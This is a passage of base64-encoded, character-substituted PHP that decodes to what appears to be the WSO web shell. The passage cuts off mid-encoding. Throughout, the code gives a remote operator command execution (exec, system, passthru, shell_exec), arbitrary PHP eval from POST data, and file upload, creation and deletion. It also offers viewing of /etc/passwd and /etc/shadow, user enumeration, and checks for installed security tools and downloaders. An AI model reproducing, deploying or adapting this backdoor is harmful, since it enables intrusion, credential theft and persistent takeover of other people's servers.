01X2N3ZCddIC4gJ1wnLFwnXCcsXCdcJyxcJ1wnKSI+WyBoMm01IF08LzE+PGJyPicgLiAkZHI0djVzIC4gJzwvdGQ+Jw0KICAgICAgIC4gJzx0ZCB3NGR0aD02IDFsNGduPXI0Z2h0PjxuMmJyPjxzNWw1Y3QgMm5jaDFuZzU9ImcobjNsbCxuM2xsLG4zbGwsbjNsbCxuM2xsLHRoNHMudjFsMzUpIj48MnB0Z3IyM3AgbDFiNWw9IlAxZzUgY2gxcnM1dCI+JyAuICQycHRfY2gxcnM1dHMgLiAnPC8ycHRncjIzcD48L3M1bDVjdD48YnI+PHNwMW4+UzVydjVyIElQOjwvc3Axbj48YnI+JyAuIEAkX1NFUlZFUlsiU0VSVkVSX0FERFIiXSAuICc8YnI+PHNwMW4+Q2w0NW50IElQOjwvc3Axbj48YnI+JyAuICRfU0VSVkVSWydSRU1PVEVfQUREUiddIC4gJzwvbjJicj48L3RkPjwvdHI+PC90MWJsNT4nDQogICAgICAgLiAnPHQxYmw1IHN0eWw1PSJiMnJkNXItdDJwOmFweCBzMmw0ZCAjb29vOyIgYzVsbHAxZGQ0bmc9byBjNWxsc3AxYzRuZz0wIHc0ZHRoPTYwMCU+PHRyPicgLiAkbTVuMyAuICc8L3RyPjwvdDFibDU+PGQ0diBzdHlsNT0ibTFyZzRuOmkiPic7DQp9DQoNCmYzbmN0NDJuIHdzMkYyMnQ1cigpIHsNCgkkNHNfd3I0dDFibDUgPSA0c193cjR0MWJsNSgkR0xPQkFMU1snY3dkJ10pPyIgPGYybnQgYzJsMnI9J2dyNTVuJz4oV3I0dDUxYmw1KTwvZjJudD4iOiIgPGYybnQgYzJsMnI9cjVkPihOMnQgd3I0dDFibDUpPC9mMm50PiI7DQogICAgNWNoMiAiDQo8L2Q0dj4NCjx0MWJsNSBjbDFzcz00bmYyIDRkPXQyMmxzVGJsIGM1bGxwMWRkNG5nPW8gYzVsbHNwMWM0bmc9MCB3NGR0aD02MDAlICBzdHlsNT0nYjJyZDVyLXQycDphcHggczJsNGQgI29vbztiMnJkNXItYjJ0dDJtOmFweCBzMmw0ZCAjb29vOyc+DQoJPHRyPg0KCQk8dGQ+PGYycm0gMm5zM2JtNHQ9J2cobjNsbCx0aDRzLmMudjFsMzUsXCJcIik7cjV0M3JuIGYxbHM1Oyc+PHNwMW4+Q2gxbmc1IGQ0cjo8L3NwMW4+PGJyPjw0bnAzdCBjbDFzcz0ndDIybHNJbnAnIHR5cDU9dDV4dCBuMW01PWMgdjFsMzU9JyIgLiBodG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkgLiInPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L3RkPg0KCQk8dGQ+PGYycm0gMm5zM2JtNHQ9XCJnKCdGNGw1c1QyMmxzJyxuM2xsLHRoNHMuZi52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPlI1MWQgZjRsNTo8L3NwMW4+PGJyPjw0bnAzdCBjbDFzcz0ndDIybHNJbnAnIHR5cDU9dDV4dCBuMW01PWY+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPjwvdGQ+DQoJPC90cj48dHI+DQoJCTx0ZD48ZjJybSAybnMzYm00dD1cImcoJ0Y0bDVzTTFuJyxuM2xsLCdta2Q0cicsdGg0cy5kLnYxbDM1KTtyNXQzcm4gZjFsczU7XCI+PHNwMW4+TTFrNSBkNHI6PC9zcDFuPiQ0c193cjR0MWJsNTxicj48NG5wM3QgY2wxc3M9J3QyMmxzSW5wJyB0eXA1PXQ1eHQgbjFtNT1kPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L3RkPg0KCQk8dGQ+PGYycm0gMm5zM2JtNHQ9XCJnKCdGNGw1c1QyMmxzJyxuM2xsLHRoNHMuZi52MWwzNSwnbWtmNGw1Jyk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPk0xazUgZjRsNTo8L3NwMW4+JDRzX3dyNHQxYmw1PGJyPjw0bnAzdCBjbDFzcz0ndDIybHNJbnAnIHR5cDU9dDV4dCBuMW01PWY+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPjwvdGQ+DQoJPC90cj48dHI+DQoJCTx0ZD48ZjJybSAybnMzYm00dD1cImcoJ0MybnMybDUnLG4zbGwsdGg0cy5jLnYxbDM1KTtyNXQzcm4gZjFsczU7XCI+PHNwMW4+RXg1YzN0NTo8L3NwMW4+PGJyPjw0bnAzdCBjbDFzcz0ndDIybHNJbnAnIHR5cDU9dDV4dCBuMW01PWMgdjFsMzU9Jyc+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPjwvdGQ+DQoJCTx0ZD48ZjJybSBtNXRoMmQ9J3Ayc3QnIEVOQ1RZUEU9J20zbHQ0cDFydC9mMnJtLWQxdDEnPg0KCQk8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT0xIHYxbDM1PSdGNGw1c01Bbic+DQoJCTw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWMgdjFsMzU9JyIgLiAkR0xPQkFMU1snY3dkJ10gLiInPg0KCQk8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1wNiB2MWwzNT0nM3BsMjFkRjRsNSc+DQoJCTw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWNoMXJzNXQgdjFsMzU9JyIgLiAoNHNzNXQoJF9QT1NUWydjaDFyczV0J10pPyRfUE9TVFsnY2gxcnM1dCddOicnKSAuICInPg0KCQk8c3Axbj5VcGwyMWQgZjRsNTo8L3NwMW4+JDRzX3dyNHQxYmw1PGJyPjw0bnAzdCBjbDFzcz0ndDIybHNJbnAnIHR5cDU9ZjRsNSBuMW01PWY+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPjxiciAgPjwvdGQ+DQoJPC90cj48L3QxYmw1PjwvZDR2PjwvYjJkeT48L2h0bWw+IjsNCn0NCg0KNGYgKCFmM25jdDQybl81eDRzdHMoInAyczR4X2c1dHB3MzRkIikgJiYgKHN0cnAycygkR0xPQkFMU1snZDRzMWJsNV9mM25jdDQybnMnXSwgJ3AyczR4X2c1dHB3MzRkJyk9PT1mMWxzNSkpIHsNCiAgICBmM25jdDQybiBwMnM0eF9nNXRwdzM0ZCgkcCkge3I1dDNybiBmMWxzNTt9IH0NCjRmICghZjNuY3Q0Mm5fNXg0c3RzKCJwMnM0eF9nNXRncmc0ZCIpICYmIChzdHJwMnMoJEdMT0JBTFNbJ2Q0czFibDVfZjNuY3Q0Mm5zJ10sICdwMnM0eF9nNXRncmc0ZCcpPT09ZjFsczUpKSB7DQogICAgZjNuY3Q0Mm4gcDJzNHhfZzV0Z3JnNGQoJHApIHtyNXQzcm4gZjFsczU7fSB9DQoNCmYzbmN0NDJuIHdzMkV4KCQ0bikgew0KCSQyM3QgPSAnJzsNCgk0ZiAoZjNuY3Q0Mm5fNXg0c3RzKCc1eDVjJykpIHsNCgkJQDV4NWMoJDRuLCQyM3QpOw0KCQkkMjN0ID0gQGoyNG4oIlxuIiwkMjN0KTsNCgl9IDVsczU0ZiAoZjNuY3Q0Mm5fNXg0c3RzKCdwMXNzdGhyMycpKSB7DQoJCTJiX3N0MXJ0KCk7DQoJCUBwMXNzdGhyMygkNG4pOw0KCQkkMjN0ID0gMmJfZzV0X2NsNTFuKCk7DQoJfSA1bHM1NGYgKGYzbmN0NDJuXzV4NHN0cygnc3lzdDVtJykpIHsNCgkJMmJfc3QxcnQoKTsNCgkJQHN5c3Q1bSgkNG4pOw0KCQkkMjN0ID0gMmJfZzV0X2NsNTFuKCk7DQoJfSA1bHM1NGYgKGYzbmN0NDJuXzV4NHN0cygnc2g1bGxfNXg1YycpKSB7DQoJCSQyM3QgPSBzaDVsbF81eDVjKCQ0bik7DQoJfSA1bHM1NGYgKDRzX3I1czIzcmM1KCRmID0gQHAycDVuKCQ0biwiciIpKSkgew0KCQkkMjN0ID0gIiI7DQoJCXdoNGw1KCFAZjUyZigkZikpDQoJCQkkMjN0IC49IGZyNTFkKCRmLDYwYXUpOw0KCQlwY2wyczUoJGYpOw0KCX0NCglyNXQzcm4gJDIzdDsNCn0NCg0KZjNuY3Q0Mm4gd3MyVjQ1d1M0ejUoJHMpIHsNCiAgICA0ZiAoNHNfNG50KCRzKSkNCiAgICAgICAgJHMgPSBzcHI0bnRmKCIlMyIsICRzKTsNCiAgICANCgk0ZigkcyA+PSA2MDdvN3U2OGF1KQ0KCQlyNXQzcm4gc3ByNG50ZignJTYuYWYnLCAkcyAvIDYwN283dTY4YXUgKS4gJyBHQic7DQoJNWxzNTRmKCRzID49IDYwdThpN2UpDQoJCXI1dDNybiBzcHI0bnRmKCclNi5hZicsICRzIC8gNjB1OGk3ZSApIC4gJyBNQic7DQoJNWxzNTRmKCRzID49IDYwYXUpDQoJCXI1dDNybiBzcHI0bnRmKCclNi5hZicsICRzIC8gNjBhdSApIC4gJyBLQic7DQoJNWxzNQ0KCQlyNXQzcm4gJHMgLiAnIEInOw0KfQ0KDQpmM25jdDQybiB3czJQNXJtcygkcCkgew0KCTRmICgoJHAgJiAweEMwMDApID09IDB4QzAwMCkkNCA9ICdzJzsNCgk1bHM1NGYgKCgkcCAmIDB4QTAwMCkgPT0gMHhBMDAwKSQ0ID0gJ2wnOw0KCTVsczU0ZiAoKCRwICYgMHg4MDAwKSA9PSAweDgwMDApJDQgPSAnLSc7DQoJNWxzNTRmICgoJHAgJiAweGUwMDApID09IDB4ZTAwMCkkNCA9ICdiJzsNCgk1bHM1NGYgKCgkcCAmIDB4dTAwMCkgPT0gMHh1MDAwKSQ0ID0gJ2QnOw0KCTVsczU0ZiAoKCRwICYgMHhhMDAwKSA9PSAweGEwMDApJDQgPSAnYyc7DQoJNWxzNTRmICgoJHAgJiAweDYwMDApID09IDB4NjAwMCkkNCA9ICdwJzsNCgk1bHM1ICQ0ID0gJzMnOw0KCSQ0IC49ICgoJHAgJiAweDA2MDApID8gJ3InIDogJy0nKTsNCgkkNCAuPSAoKCRwICYgMHgwMDgwKSA/ICd3JyA6ICctJyk7DQoJJDQgLj0gKCgkcCAmIDB4MDB1MCkgPyAoKCRwICYgMHgwODAwKSA/ICdzJyA6ICd4JyApIDogKCgkcCAmIDB4MDgwMCkgPyAnUycgOiAnLScpKTsNCgkkNCAuPSAoKCRwICYgMHgwMGEwKSA/ICdyJyA6ICctJyk7DQoJJDQgLj0gKCgkcCAmIDB4MDA2MCkgPyAndycgOiAnLScpOw0KCSQ0IC49ICgoJHAgJiAweDAwMDgpID8gKCgkcCAmIDB4MHUwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDB1MDApID8gJ1MnIDogJy0nKSk7DQoJJDQgLj0gKCgkcCAmIDB4MDAwdSkgPyAncicgOiAnLScpOw0KCSQ0IC49ICgoJHAgJiAweDAwMGEpID8gJ3cnIDogJy0nKTsNCgkkNCAuPSAoKCRwICYgMHgwMDA2KSA/ICgoJHAgJiAweDBhMDApID8gJ3QnIDogJ3gnICkgOiAoKCRwICYgMHgwYTAwKSA/ICdUJyA6ICctJykpOw0KCXI1dDNybiAkNDsNCn0NCg0KZjNuY3Q0Mm4gd3MyUDVybXNDMmwycigkZikgew0KCTRmICghQDRzX3I1MWQxYmw1KCRmKSkNCgkJcjV0M3JuICc8ZjJudCBjMmwycj0jRkYwMDAwPicgLiB3czJQNXJtcyhAZjRsNXA1cm1zKCRmKSkgLiAnPC9mMm50Pic7DQoJNWxzNTRmICghQDRzX3dyNHQxYmw1KCRmKSkNCgkJcjV0M3JuICc8ZjJudCBjMmwycj13aDR0NT4nIC4gd3MyUDVybXMoQGY0bDVwNXJtcygkZikpIC4gJzwvZjJudD4nOw0KCTVsczUNCgkJcjV0M3JuICc8ZjJudCBjMmwycj0jYWlmZjAwPicgLiB3czJQNXJtcyhAZjRsNXA1cm1zKCRmKSkgLiAnPC9mMm50Pic7DQp9DQoNCmYzbmN0NDJuIHdzMlNjMW5kNHIoJGQ0cikgew0KICAgIDRmKGYzbmN0NDJuXzV4NHN0cygic2MxbmQ0ciIpKSB7DQogICAgICAgIHI1dDNybiBzYzFuZDRyKCRkNHIpOw0KICAgIH0gNWxzNSB7DQogICAgICAgICRkaCAgPSAycDVuZDRyKCRkNHIpOw0KICAgICAgICB3aDRsNSAoZjFsczUgIT09ICgkZjRsNW4xbTUgPSByNTFkZDRyKCRkaCkpKQ0KICAgICAgICAgICAgJGY0bDVzW10gPSAkZjRsNW4xbTU7DQogICAgICAgIHI1dDNybiAkZjRsNXM7DQogICAgfQ0KfQ0KDQpmM25jdDQybiB3czJXaDRjaCgkcCkgew0KCSRwMXRoID0gd3MyRXgoJ3doNGNoICcgLiAkcCk7DQoJNGYoITVtcHR5KCRwMXRoKSkNCgkJcjV0M3JuICRwMXRoOw0KCXI1dDNybiBmMWxzNTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuUzVjSW5mMigpIHsNCgl3czJINTFkNXIoKTsNCgk1Y2gyICc8aDY+UzVydjVyIHM1YzNyNHR5IDRuZjJybTF0NDJuPC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+JzsNCglmM25jdDQybiB3czJTNWNQMXIxbSgkbiwgJHYpIHsNCgkJJHYgPSB0cjRtKCR2KTsNCgkJNGYoJHYpIHsNCgkJCTVjaDIgJzxzcDFuPicgLiAkbiAuICc6IDwvc3Axbj4nOw0KCQkJNGYoc3RycDJzKCR2LCAiXG4iKSA9PT0gZjFsczUpDQoJCQkJNWNoMiAkdiAuICc8YnI+JzsNCgkJCTVsczUNCgkJCQk1Y2gyICc8cHI1IGNsMXNzPW1sNj4nIC4gJHYgLiAnPC9wcjU+JzsNCgkJfQ0KCX0NCg0KCXdzMlM1Y1AxcjFtKCdTNXJ2NXIgczJmdHcxcjUnLCBAZzV0NW52KCdTRVJWRVJfU09GVFdBUkUnKSk7DQogICAgNGYoZjNuY3Q0Mm5fNXg0c3RzKCcxcDFjaDVfZzV0X20yZDNsNXMnKSkNCiAgICAgICAgd3MyUzVjUDFyMW0oJ0wyMWQ1ZCBBcDFjaDUgbTJkM2w1cycsIDRtcGwyZDUoJywgJywgMXAxY2g1X2c1dF9tMmQzbDVzKCkpKTsNCgl3czJTNWNQMXIxbSgnRDRzMWJsNWQgUEhQIEYzbmN0NDJucycsICRHTE9CQUxTWydkNHMxYmw1X2YzbmN0NDJucyddPyRHTE9CQUxTWydkNHMxYmw1X2YzbmN0NDJucyddOiduMm41Jyk7DQoJd3MyUzVjUDFyMW0oJ09wNW4gYjFzNSBkNHInLCBANG40X2c1dCgnMnA1bl9iMXM1ZDRyJykpOw0KCXdzMlM1Y1AxcjFtKCdTMWY1IG0yZDUgNXg1YyBkNHInLCBANG40X2c1dCgnczFmNV9tMmQ1XzV4NWNfZDRyJykpOw0KCXdzMlM1Y1AxcjFtKCdTMWY1IG0yZDUgNG5jbDNkNSBkNHInLCBANG40X2c1dCgnczFmNV9tMmQ1XzRuY2wzZDVfZDRyJykpOw0KCXdzMlM1Y1AxcjFtKCdjVVJMIHMzcHAycnQnLCBmM25jdDQybl81eDRzdHMoJ2MzcmxfdjVyczQybicpPyc1bjFibDVkJzonbjInKTsNCgkkdDVtcD0xcnIxeSgpOw0KCTRmKGYzbmN0NDJuXzV4NHN0cygnbXlzcWxfZzV0X2NsNDVudF80bmYyJykpDQoJCSR0NW1wW10gPSAiTXlTcWwgKCIubXlzcWxfZzV0X2NsNDVudF80bmYyKCkuIikiOw0KCTRmKGYzbmN0NDJuXzV4NHN0cygnbXNzcWxfYzJubjVjdCcpKQ0KCQkkdDVtcFtdID0gIk1TU1FMIjsNCgk0ZihmM25jdDQybl81eDRzdHMoJ3BnX2Mybm41Y3QnKSkNCgkJJHQ1bXBbXSA9ICJQMnN0Z3I1U1FMIjsNCgk0ZihmM25jdDQybl81eDRzdHMoJzJjNF9jMm5uNWN0JykpDQoJCSR0NW1wW10gPSAiT3IxY2w1IjsNCgl3czJTNWNQMXIxbSgnUzNwcDJydDVkIGQxdDFiMXM1cycsIDRtcGwyZDUoJywgJywgJHQ1bXApKTsNCgk1Y2gyICc8YnI+JzsNCg0KCTRmKCRHTE9CQUxTWycycyddID09ICduNHgnKSB7DQogICAgICAgICAgICB3czJTNWNQMXIxbSgnUjUxZDFibDUgLzV0Yy9wMXNzd2QnLCBANHNfcjUxZDFibDUoJy81dGMvcDFzc3dkJyk/Ink1cyA8MSBocjVmPScjJyAybmNsNGNrPSdnKFwiRjRsNXNUMjJsc1wiLCBcIi81dGMvXCIsIFwicDFzc3dkXCIpJz5bdjQ1d108LzE+IjonbjInKTsNCiAgICAgICAgICAgIHdzMlM1Y1AxcjFtKCdSNTFkMWJsNSAvNXRjL3NoMWQydycsIEA0c19yNTFkMWJsNSgnLzV0Yy9zaDFkMncnKT8ieTVzIDwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c1QyMmxzXCIsIFwiLzV0Yy9cIiwgXCJzaDFkMndcIiknPlt2NDV3XTwvMT4iOiduMicpOw0KICAgICAgICAgICAgd3MyUzVjUDFyMW0oJ09TIHY1cnM0Mm4nLCBAZjRsNV9nNXRfYzJudDVudHMoJy9wcjJjL3Y1cnM0Mm4nKSk7DQogICAgICAgICAgICB3czJTNWNQMXIxbSgnRDRzdHIgbjFtNScsIEBmNGw1X2c1dF9jMm50NW50cygnLzV0Yy80c3MzNS5uNXQnKSk7DQogICAgICAgICAgICA0ZighJEdMT0JBTFNbJ3MxZjVfbTJkNSddKSB7DQogICAgICAgICAgICAgICAgJDNzNXJmM2wgPSAxcnIxeSgnZ2NjJywnbGNjJywnY2MnLCdsZCcsJ20xazUnLCdwaHAnLCdwNXJsJywncHl0aDJuJywncjNieScsJ3QxcicsJ2d6NHAnLCdiejRwJywnYno0cGEnLCduYycsJ2wyYzF0NScsJ3MzNGRwNXJsJyk7DQogICAgICAgICAgICAgICAgJGQxbmc1ciA9IDFycjF5KCdrMXYnLCduMmRvYScsJ2JkYzJyNWQnLCczdnNjMW4nLCdzMXYnLCdkcnc1YmQnLCdjbDFtZCcsJ3JraDNudDVyJywnY2hrcjIydGs0dCcsJzRwdDFibDVzJywnNHBmdycsJ3RyNHB3NHI1Jywnc2g0NWxkY2MnLCdwMnJ0czVudHJ5Jywnc24ycnQnLCcyc3M1YycsJ2w0ZHMxZG0nLCd0Y3BsMmRnJywnc3g0ZCcsJ2wyZ2NoNWNrJywnbDJndzF0Y2gnLCdzeXNtMXNrJywnem1ic2MxcCcsJ3Mxd200bGwnLCd3MnJtc2MxbicsJ240bmoxJyk7DQogICAgICAgICAgICAgICAgJGQyd25sMjFkNXJzID0gMXJyMXkoJ3dnNXQnLCdmNXRjaCcsJ2x5bngnLCdsNG5rcycsJ2MzcmwnLCdnNXQnLCdsd3AtbTRycjJyJyk7DQogICAgICAgICAgICAgICAgNWNoMiAnPGJyPic7DQogICAgICAgICAgICAgICAgJHQ1bXA9MXJyMXkoKTsNCiAgICAgICAgICAgICAgICBmMnI1MWNoICgkM3M1cmYzbCAxcyAkNHQ1bSkNCiAgICAgICAgICAgICAgICAgICAgNGYod3MyV2g0Y2goJDR0NW0pKQ0KICAgICAgICAgICAgICAgICAgICAgICAgJHQ1bXBbXSA9ICQ0dDVtOw0KICAgICAgICAgICAgICAgIHdzMlM1Y1AxcjFtKCdVczVyZjNsJywgNG1wbDJkNSgnLCAnLCR0NW1wKSk7DQogICAgICAgICAgICAgICAgJHQ1bXA9MXJyMXkoKTsNCiAgICAgICAgICAgICAgICBmMnI1MWNoICgkZDFuZzVyIDFzICQ0dDVtKQ0KICAgICAgICAgICAgICAgICAgICA0Zih3czJXaDRjaCgkNHQ1bSkpDQogICAgICAgICAgICAgICAgICAgICAgICAkdDVtcFtdID0gJDR0NW07DQogICAgICAgICAgICAgICAgd3MyUzVjUDFyMW0oJ0Qxbmc1cicsIDRtcGwyZDUoJywgJywkdDVtcCkpOw0KICAgICAgICAgICAgICAgICR0NW1wPTFycjF5KCk7DQogICAgICAgICAgICAgICAgZjJyNTFjaCAoJGQyd25sMjFkNXJzIDFzICQ0dDVtKQ0KICAgICAgICAgICAgICAgICAgICA0Zih3czJXaDRjaCgkNHQ1bSkpDQogICAgICAgICAgICAgICAgICAgICAgICAkdDVtcFtdID0gJDR0NW07DQogICAgICAgICAgICAgICAgd3MyUzVjUDFyMW0oJ0Qyd25sMjFkNXJzJywgNG1wbDJkNSgnLCAnLCR0NW1wKSk7DQogICAgICAgICAgICAgICAgNWNoMiAnPGJyLz4nOw0KICAgICAgICAgICAgICAgIHdzMlM1Y1AxcjFtKCdIREQgc3AxYzUnLCB3czJFeCgnZGYgLWgnKSk7DQogICAgICAgICAgICAgICAgd3MyUzVjUDFyMW0oJ0gyc3RzJywgQGY0bDVfZzV0X2MybnQ1bnRzKCcvNXRjL2gyc3RzJykpOw0KICAgICAgICAgICAgICAgIDVjaDIgJzxici8+PHNwMW4+cDJzNHhfZzV0cHczNGQgKCJSNTFkIiAvNXRjL3Axc3N3ZCk8L3NwMW4+PHQxYmw1PjxmMnJtIDJuczNibTR0PVwnZyhuM2xsLG4zbGwsImkiLHRoNHMucDFyMW02LnYxbDM1LHRoNHMucDFyMW1hLnYxbDM1KTtyNXQzcm4gZjFsczU7XCc+PHRyPjx0ZD5GcjJtPC90ZD48dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PXAxcjFtNiB2MWwzNT0wPjwvdGQ+PC90cj48dHI+PHRkPlQyPC90ZD48dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PXAxcjFtYSB2MWwzNT02MDAwPjwvdGQ+PC90cj48L3QxYmw1Pjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT4nOw0KICAgICAgICAgICAgICAgIDRmICg0c3M1dCAoJF9QT1NUWydwYSddLCAkX1BPU1RbJ3BvJ10pICYmIDRzX24zbTVyNGMoJF9QT1NUWydwYSddKSAmJiA0c19uM201cjRjKCRfUE9TVFsncG8nXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgJHQ1bXAgPSAiIjsNCiAgICAgICAgICAgICAgICAgICAgZjJyKDskX1BPU1RbJ3BhJ10gPD0gJF9QT1NUWydwbyddOyRfUE9TVFsncGEnXSsrKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkMzRkID0gQHAyczR4X2c1dHB3MzRkKCRfUE9TVFsncGEnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZiAoJDM0ZCkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdDVtcCAuPSBqMjRuKCc6JywkMzRkKS4iXG4iOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIDVjaDIgJzxici8+JzsNCiAgICAgICAgICAgICAgICAgICAgd3MyUzVjUDFyMW0oJ1VzNXJzJywgJHQ1bXApOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCgl9IDVsczUgew0KCQl3czJTNWNQMXIxbSgnT1MgVjVyczQybicsd3MyRXgoJ3Y1cicpKTsNCgkJd3MyUzVjUDFyMW0oJ0FjYzIzbnQgUzV0dDRuZ3MnLHdzMkV4KCduNXQgMWNjMjNudHMnKSk7DQoJCXdzMlM1Y1AxcjFtKCdVczVyIEFjYzIzbnRzJyx3czJFeCgnbjV0IDNzNXInKSk7DQoJfQ0KCTVjaDIgJzwvZDR2Pic7DQoJd3MyRjIydDVyKCk7DQp9DQoNCmYzbmN0NDJuIDFjdDQyblBocCgpIHsNCgk0Zig0c3M1dCgkX1BPU1RbJzFqMXgnXSkpIHsNCiAgICAgICAgV1NPczV0YzIyazQ1KG1kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJzFqMXgnLCB0cjM1KTsNCgkJMmJfc3QxcnQoKTsNCgkJNXYxbCgkX1BPU1RbJ3A2J10pOw0KCQkkdDVtcCA9ICJkMmMzbTVudC5nNXRFbDVtNW50QnlJZCgnUGhwTzN0cDN0Jykuc3R5bDUuZDRzcGwxeT0nJztkMmMzbTVudC5nNXRFbDVtNW50QnlJZCgnUGhwTzN0cDN0JykuNG5uNXJIVE1MPSciIC4gMWRkY3NsMXNoNXMoaHRtbHNwNWM0MWxjaDFycygyYl9nNXRfY2w1MW4oKSksICJcblxyXHRcXCdcMCIpIC4gIic7XG4iOw0KCQk1Y2gyIHN0cmw1bigkdDVtcCksICJcbiIsICR0NW1wOw0KCQk1eDR0Ow0KCX0NCiAgICA0Zig1bXB0eSgkX1BPU1RbJzFqMXgnXSkgJiYgITVtcHR5KCRfUE9TVFsncDYnXSkpDQogICAgICAgIFdTT3M1dGMyMms0NShtZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICcxajF4JywgMCk7DQoNCgl3czJINTFkNXIoKTsNCgk0Zig0c3M1dCgkX1BPU1RbJ3BhJ10pICYmICgkX1BPU1RbJ3BhJ10gPT0gJzRuZjInKSkgew0KCQk1Y2gyICc8aDY+UEhQIDRuZjI8L2g2PjxkNHYgY2wxc3M9YzJudDVudD48c3R5bDU+LnAge2MybDJyOiMwMDA7fTwvc3R5bDU+JzsNCgkJMmJfc3QxcnQoKTsNCgkJcGhwNG5mMigpOw0KCQkkdG1wID0gMmJfZzV0X2NsNTFuKCk7DQogICAgICAgICR0bXAgPSBwcjVnX3I1cGwxYzUoMXJyMXkgKA0KICAgICAgICAgICAgJyEoYjJkeXwxOlx3K3xiMmR5LCB0ZCwgdGgsIGg2LCBoYSkgey4qfSFtczRVJywNCiAgICAgICAgICAgICchdGQsIHRoIHsoLiopfSFtczRVJywNCiAgICAgICAgICAgICchPDRtZ1tePl0rPiFtczRVJywNCiAgICAgICAgKSwgMXJyMXkgKA0KICAgICAgICAgICAgJycsDQogICAgICAgICAgICAnLjUsIC52LCAuaCwgLmggdGggeyQ2fScsDQogICAgICAgICAgICAnJw0KICAgICAgICApLCAkdG1wKTsNCgkJNWNoMiBzdHJfcjVwbDFjNSgnPGg2JywnPGhhJywgJHRtcCkgLic8L2Q0dj48YnI+JzsNCgl9DQogICAgNWNoMiAnPGg2PkV4NWMzdDQybiBQSFAtYzJkNTwvaDY+PGQ0diBjbDFzcz1jMm50NW50PjxmMnJtIG4xbTU9cGYgbTV0aDJkPXAyc3QgMm5zM2JtNHQ9IjRmKHRoNHMuMWoxeC5jaDVjazVkKXsxKFwnUGhwXCcsbjNsbCx0aDRzLmMyZDUudjFsMzUpO301bHM1e2coXCdQaHBcJyxuM2xsLHRoNHMuYzJkNS52MWwzNSxcJ1wnKTt9cjV0M3JuIGYxbHM1OyI+PHQ1eHQxcjUxIG4xbTU9YzJkNSBjbDFzcz1iNGcxcjUxIDRkPVBocEMyZDU+Jy4oITVtcHR5KCRfUE9TVFsncDYnXSk/aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3A2J10pOicnKS4nPC90NXh0MXI1MT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9RXYxbCBzdHlsNT0ibTFyZzRuLXQycDppcHgiPic7DQoJNWNoMiAnIDw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9MWoxeCB2MWwzNT02ICcuKCRfQ09PS0lFW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10/J2NoNWNrNWQnOicnKS4nPiBzNW5kIDNzNG5nIEFKQVg8L2Yycm0+PHByNSA0ZD1QaHBPM3RwM3Qgc3R5bDU9IicuKDVtcHR5KCRfUE9TVFsncDYnXSk/J2Q0c3BsMXk6bjJuNTsnOicnKS4nbTFyZzRuLXQycDppcHg7IiBjbDFzcz1tbDY+JzsNCgk0ZighNW1wdHkoJF9QT1NUWydwNiddKSkgew0KCQkyYl9zdDFydCgpOw0KCQk1djFsKCRfUE9TVFsncDYnXSk7DQoJCTVjaDIgaHRtbHNwNWM0MWxjaDFycygyYl9nNXRfY2w1MW4oKSk7DQoJfQ0KCTVjaDIgJzwvcHI1PjwvZDR2Pic7DQoJd3MyRjIydDVyKCk7DQp9DQoNCmYzbmN0NDJuIDFjdDQybkY0bDVzTTFuKCkgew0KICAgIDRmICghNW1wdHkgKCRfQ09PS0lFWydmJ10pKQ0KICAgICAgICAkX0NPT0tJRVsnZiddID0gQDNuczVyNDFsNHo1KCRfQ09PS0lFWydmJ10pOw0KICAgIA0KCTRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKSB7DQoJCXN3NHRjaCgkX1BPU1RbJ3A2J10pIHsNCgkJCWMxczUgJzNwbDIxZEY0bDUnOg0KCQkJCTRmKCFAbTJ2NV8zcGwyMWQ1ZF9mNGw1KCRfRklMRVNbJ2YnXVsndG1wX24xbTUnXSwgJF9GSUxFU1snZiddWyduMW01J10pKQ0KCQkJCQk1Y2gyICJDMW4ndCAzcGwyMWQhIjsNCgkJCQlicjUxazsNCgkJCWMxczUgJ21rZDRyJzoNCgkJCQk0ZighQG1rZDRyKCRfUE9TVFsncGEnXSkpDQoJCQkJCTVjaDIgIkMxbid0IGNyNTF0NSEiOw0KCQkJCWJyNTFrOw0KCQkJYzFzNSAnZDVsNXQ1JzoNCgkJCQlmM25jdDQybiBkNWw1dDVENHIoJHAxdGgpIHsNCgkJCQkJJHAxdGggPSAoczNic3RyKCRwMXRoLC02KT09Jy8nKSA/ICRwMXRoOiRwMXRoLicvJzsNCgkJCQkJJGRoICA9IDJwNW5kNHIoJHAxdGgpOw0KCQkJCQl3aDRsNSAoICgkNHQ1bSA9IHI1MWRkNHIoJGRoKSApICE9PSBmMWxzNSkgew0